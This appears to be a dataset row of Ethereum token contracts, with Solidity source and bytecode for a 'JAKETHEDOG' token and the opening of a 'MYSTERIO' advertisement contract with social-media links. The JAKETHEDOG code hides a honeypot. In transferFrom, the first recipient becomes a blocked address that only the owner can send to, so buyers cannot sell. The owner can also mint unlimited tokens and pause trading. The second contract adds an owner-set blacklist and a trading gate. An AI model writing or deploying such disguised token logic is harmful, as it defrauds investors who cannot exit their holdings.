(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JAKETHEDOG is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 10000000000 * 10**9;
string private _symbol = "JAKE";
string private _name = "JAKETHEDOG";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106101585760003560e01c806381f4f399116100c3578063a69df4b51161007c578063a69df4b51461062c578063a9059cbb14610636578063b6c523241461069a578063dd467064146106b8578063dd62ed3e146106e6578063f2fde38b1461075e57610158565b806381f4f3991461048f5780638456cb59146104d3578063893d20e8146104dd5780638da5cb5b1461051157806395d89b4114610545578063a457c2d7146105c857610158565b80633950935111610115578063395093511461033b5780633f4ba83a1461039f57806340c10f19146103a95780635c975abb1461040d57806370a082311461042d578063715018a61461048557610158565b806306fdde031461015d578063095ea7b3146101e057806318160ddd146102445780631ee59f201461026257806323b872dd14610296578063313ce5671461031a575b600080fd5b6101656107a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022c600480360360408110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610844565b60405180821515815260200191505060405180910390f35b61024c610862565b6040518082815260200191505060405180910390f35b61026a61086c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610302600480360360608110156102ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610892565b60405180821515815260200191505060405180910390f35b610322610b5f565b604051808260ff16815260200191505060405180910390f35b6103876004803603604081101561035157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b76565b60405180821515815260200191505060405180910390f35b6103a7610c29565b005b6103f5600480360360408110156103bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d53565b60405180821515815260200191505060405180910390f35b610415610f3d565b60405180821515815260200191505060405180910390f35b61046f6004803603602081101561044357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f50565b6040518082815260200191505060405180910390f35b61048d610f99565b005b6104d1600480360360208110156104a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111f565b005b6104db61122b565b005b6104e5611356565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610519611365565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61054d61138e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058d578082015181840152602081019050610572565b50505050905090810190601f1680156105ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610614600480360360408110156105de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611430565b60405180821515815260200191505060405180910390f35b61063461151a565b005b6106826004803603604081101561064c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611737565b60405180821515815260200191505060405180910390f35b6106a2611755565b6040518082815260200191505060405180910390f35b6106e4600480360360208110156106ce57600080fd5b810190808035906020019092919050505061175f565b005b610748600480360360408110156106fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611950565b6040518082815260200191505060405180910390f35b6107a06004803603602081101561077457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d7565b005b606060098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561083a5780601f1061080f5761010080835404028352916020019161083a565b820191906000526020600020905b81548152906001019060200180831161081d57829003601f168201915b5050505050905090565b6000610858610851611be2565b8484611bea565b6001905092915050565b6000600754905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561091e5750600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156109695782600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806109f857506109c9611365565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610a6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610a76848484611e1b565b610b5484610a82611be2565b610b4f856040518060400160405280601581526020017f6572726f7220696e207472616e7366657266726f6d0000000000000000000000815250600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b05611be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123479092919063ffffffff16565b611bea565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610c1f610b83611be2565b84610c1a8560056000610b94611be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240790919063ffffffff16565b611bea565b6001905092915050565b610c31611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900460ff16610d0a57600080fd5b6000600360006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000610d5d611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e328260075461240790919063ffffffff16565b600781905550610e8a82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fa1611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611127611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611233611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900460ff161561130d57600080fd5b6001600360006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000611360611365565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114265780601f106113fb57610100808354040283529160200191611426565b820191906000526020600020905b81548152906001019060200180831161140957829003601f168201915b5050505050905090565b600061151061143d611be2565b8461150b856040518060400160405280601b81526020017f6572726f7220696e20646563726561736520616c6c6f77616e6365000000000081525060056000611484611be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123479092919063ffffffff16565b611bea565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806125016023913960400191505060405180910390fd5b6002544211611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061174b611744611be2565b8484611e1b565b6001905092915050565b6000600254905090565b611767611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611827576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119df611be2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806124906026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f617070726f7665206f776e65722069732030206164647265737300000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f617070726f7665207370656e646572206973203020616464726573730000000081525060200191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ea1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124b66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806124da6027913960400191505060405180910390fd5b600360009054906101000a900460ff161580611f755750611f46611365565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611fb25750611f83611365565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612024576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f706175736564000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461217c57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158061210957506120da611365565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61217b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b612205816040518060400160405280601881526020017f7472616e736665722062616c616e636520746f6f206c6f770000000000000000815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123479092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229a81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906123f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123b957808201518184015260208101905061239e565b50505050905090810190601f1680156123e65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573737472616e736665722073656e6465722061646472657373206973203020616464726573737472616e7366657220726563697069656e74206164647265737320697320302061646472657373596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba2646970667358221220cb878aa1e379ce46c2f8e99a4ecdf45b81a46929725423c2f60e4deaa3946ae664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,827 |
0x539D20Df29735606e057c64ed3783FbC130188bd | /**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
/*
🔮 MYSTERIO - ADVERTISMENT DEPLOYMENT 🔮
THIS IS NOT THE OFFICIAL LAUNCH! JOIN OUR SOCIALS TO LEARN MORE!
THE OFFICIAL CONTRACT WILL DIFFER FROM THIS MARKETING DEPLOY!
"Mysteries abound where most we seek for answers."
🔮 We are going to release our website and core utilities today!
🔮 Token stealth launch within 12 hours!
🔮 10 ETH Locked liquidity pool BEFORE launch!
🔮 Project ran by experienced Web3 devs!
https://t.me/Mysterioverify
https://twitter.com/MysterioERC
THIS IS NOT THE OFFICIAL LAUNCH! JOIN OUR SOCIALS TO LEARN MORE!
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MYSTERIOadvertisment is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MYSTERIOadvertisment";
string private constant _symbol = "MYSTERIOadvertisment";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xcEaE56C904AA2c826EC12151339db63AdA8848B5);
address payable private _marketingAddress = payable(0xcEaE56C904AA2c826EC12151339db63AdA8848B5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9;
uint256 public _maxWalletSize = 200000 * 10**9;
uint256 public _swapTokensAtAmount = 40000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
